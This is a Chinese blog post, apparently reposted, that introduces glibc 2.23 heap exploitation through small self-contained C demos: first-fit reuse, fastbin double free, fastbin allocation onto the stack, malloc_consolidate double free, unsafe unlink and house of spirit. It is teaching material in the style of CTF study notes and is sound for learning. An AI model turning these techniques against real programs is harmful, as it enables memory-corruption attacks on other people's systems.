linux堆利用入门一

时间:2021-06-16 00:18:48   收藏:0   阅读:51

堆漏洞利用一

环境
uname -a
Linux admindir-virtual-machine 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=30773be8cf5bfed9d910c8473dd44eaab2e705ab, for GNU/Linux 2.6.32, stripped

源码

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(){

char* a=malloc(512);
char* b=malloc(256);
char* c;
fprintf(stderr,"1st malloc(512):%p\n",a);
fprintf(stderr,"2nt malloc(256):%p\n",b);
strcpy(a,"AAAAAAAA");
strcpy(b,"BBBBBBBB");
fprintf(stderr,"first allocation %p points to %s\n",a,a);
fprintf(stderr,"Freeing the first one...\n");
free(a);
c=malloc(500);
fprintf(stderr,"3rd malloc(500):%p\n",c);
strcpy(c,"CCCCCCCC");
fprintf(stderr,"3rd Allocation %p points to %s\n",c,c);
fprintf(stderr,"first allocation %p points to %s\n",a,a);
return 0;
}

编译

gcc -g first_fit.c
./a.out
1st malloc(512):0x602010
2nt malloc(256):0x602220
first allocation 0x602010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500):0x602010
3rd Allocation 0x602010 points to CCCCCCCC
first allocation 0x602010 points to CCCCCCCC

技术分享图片

技术分享图片

技术分享图片

fastbin_dup

源码

#include<stdio.h>
#include<stdlib.h>
#include<string.h>


int main(){
fprintf(stderr,"Allocating 3 buffers\n");
char* a=malloc(9);
char* b=malloc(9);
char* c=malloc(9);

strcpy(a,"AAAAAAAA");
strcpy(b,"BBBBBBBB");
strcpy(c,"CCCCCCCC");
fprintf(stderr,"1st malloc(9) %p points to %s\n",a,a);
fprintf(stderr,"2st malloc(9) %p points to %s\n",b,b);
fprintf(stderr,"3st malloc(9) %p points to %s\n",c,c);
fprintf(stderr,"Freeint the first one %p\n",a);
free(a);
fprintf(stderr,"Freeint the first one %p\n",b);
free(b);
fprintf(stderr,"Freeint the first one %p\n",c);
free(a);


fprintf(stderr,"Allocating 3 buffers\n");
char* d=malloc(9);
char* e=malloc(9);
char* f=malloc(9);
strcpy(d,"DDDDDDDD");
fprintf(stderr,"4st malloc(9) %p points to %s the first time\n",d,d);
strcpy(e,"EEEEEEEE");
fprintf(stderr,"5nd malloc(9) %p points to %s\n",e,e);
strcpy(f,"FFFFFFFF");
fprintf(stderr,"6rd malloc(9) %p points to %s the second time\n",f,f);


return 0;
}

技术分享图片

技术分享图片

fastbin_dup_into_stack

源码

#include<stdio.h>
#include<stdlib.h>
#include<string.h>


int main(){
fprintf(stderr,"Allocating 3 buffers\n");
char* a=malloc(9);
char* b=malloc(9);
char* c=malloc(9);
unsigned long long stack_var = 0x21;
strcpy(a,"AAAAAAAA");
strcpy(b,"BBBBBBBB");
strcpy(c,"CCCCCCCC");
fprintf(stderr,"1st malloc(9) %p points to %s\n",a,a);
fprintf(stderr,"2st malloc(9) %p points to %s\n",b,b);
fprintf(stderr,"3st malloc(9) %p points to %s\n",c,c);
fprintf(stderr,"Freeint the first one %p\n",a);
free(a);
fprintf(stderr,"Freeint the first one %p\n",b);
free(b);
fprintf(stderr,"Freeint the first one %p\n",c);
free(a);


fprintf(stderr,"Allocating 3 buffers\n");

unsigned long long *d=malloc(9);
*d=(unsigned long long)(((char*)&stack_var)-sizeof(d));

fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char* e=malloc(9);
char* f=malloc(9);
char* g=malloc(9);
strcpy(e,"EEEEEEEE");
fprintf(stderr,"4st malloc(9) %p points to %s the first time\n",e,e);
strcpy(f,"FFFFFFFF");
fprintf(stderr,"5nd malloc(9) %p points to %s\n",f,f);
strcpy(g,"GGGGGGGG");
fprintf(stderr,"6rd malloc(9) %p points to %s the second time\n",g,g);


return 0;
}

gcc -g fastbin_dup_into_stack.c

技术分享图片

技术分享图片

技术分享图片

技术分享图片

技术分享图片

fastbin_dup_consolidate

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int main() {
    void *p1 = malloc(0x10);
    void *p2 = malloc(0x10);
    strcpy(p1, "AAAAAAAA");
    strcpy(p2, "BBBBBBBB");
    fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);

    fprintf(stderr, "Now free p1!\n");
    free(p1);

    void *p3 = malloc(0x400);
    fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
    fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");

    free(p1);
    fprintf(stderr, "Trigger the double free vulnerability!\n");
    fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");

    void *p4 = malloc(0x10);
    strcpy(p4, "CCCCCCC");
    void *p5 = malloc(0x10);
    strcpy(p5, "DDDDDDDD");
    fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we‘will get it twice: %p %p\n", p4, p5);
}

技术分享图片

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<stdint.h>
uint64_t* chunk0_ptr;

int main(){
int malloc_size=0x80;
int header_size=2;
chunk0_ptr=(uint64_t*)malloc(malloc_size);
uint64_t* chunk1_ptr=(uint64_t*)malloc(malloc_size);
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
chunk0_ptr[2]=(uint64_t)&chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
uint64_t *chunk1_hdr=chunk1_ptr-header_size;
chunk1_hdr[0]=malloc_size;
chunk1_hdr[1]&=~1;
free(chunk1_ptr);

char victim_string[9];
strcpy(victim_string,"AAAAAAAA");
chunk0_ptr[3]=(uint64_t)victim_string;
fprintf(stderr,"Original value :%s",victim_string);

chunk0_ptr[0]=0x4242424242424242LL;
fprintf(stderr,"New Value:%s",victim_string);
return 0;
}

技术分享图片

技术分享图片

技术分享图片

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
chunk0_ptr = P = P->fd

house_of_spirit

源码
#include<stdio.h>
#include<stdlib.h>
int main(){

malloc(1);
fprintf(stderr, "We will overwrite a pointer to point to a fake ‘fastbin‘ region. This region contains two chunks.\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr,"THE first one:%p\n",&fake_chunks[0]);
fprintf(stderr,"The second one:%p\n",&fake_chunks[4]);
fake_chunks[1]=0x20;// the size
fake_chunks[5]=0x1234;//nextsize

  fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[6] = 0x4141414141414141LL;

    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
    b = malloc(0x10);
    fprintf(stderr, "malloc(0x10): %p\n", b);
    b[0] = 0x4242424242424242LL;

return 0;
}

技术分享图片

参考文章

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.6_heap_exploit_1.html

原文:https://www.cnblogs.com/binarysystemloophole/p/14886474.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!